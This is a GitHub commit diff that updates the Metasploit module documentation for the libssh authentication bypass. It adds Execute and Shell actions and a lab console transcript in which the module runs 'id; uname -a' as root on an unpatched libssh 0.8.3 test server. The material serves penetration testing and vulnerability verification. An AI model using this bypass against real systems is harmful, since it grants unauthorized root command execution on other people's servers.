Skip to content

Commit 9c7a705

Browse files
committed
Update module doc
1 parent 58a1b65 commit 9c7a705

File tree

1 file changed

+30
-3
lines changed

1 file changed

+30
-3
lines changed

documentation/modules/auxiliary/scanner/ssh/libssh_auth_bypass.md

Lines changed: 30 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -20,13 +20,21 @@ additional code paths to be followed.
2020
4. Follow the steps in `INSTALL` to build libssh
2121
5. Run `build/examples/ssh_server_fork` (I like to `strace` it)
2222

23+
## Actions
24+
25+
```
26+
Name Description
27+
---- -----------
28+
Execute Execute a command
29+
Shell Spawn a shell
30+
```
31+
2332
## Options
2433

2534
**CMD**
2635

27-
Set this to a command you want to execute in lieu of a standard shell
28-
session. An `exec` channel request will be sent instead of a `shell`
29-
request.
36+
Set this to a command or shell you want to execute. An `exec` channel
37+
request will be sent instead of a `shell` channel request.
3038

3139
**SPAWN_PTY**
3240

@@ -76,6 +84,25 @@ tty
7684
#
7785
```
7886

87+
Positive testing of shell commands using the `Execute` action:
88+
89+
```
90+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute
91+
action => Execute
92+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a
93+
cmd => id; uname -a
94+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
95+
96+
[*] 172.28.128.3:2222 - Attempting authentication bypass
97+
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
98+
[*] 172.28.128.3:2222 - Executed: id; uname -a
99+
uid=0(root) gid=0(root) groups=0(root)
100+
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
101+
[*] Scanned 1 of 1 hosts (100% complete)
102+
[*] Auxiliary module execution completed
103+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
104+
```
105+
79106
Negative testing against patched libssh 0.8.4:
80107

81108
```

0 commit comments

Comments
 (0)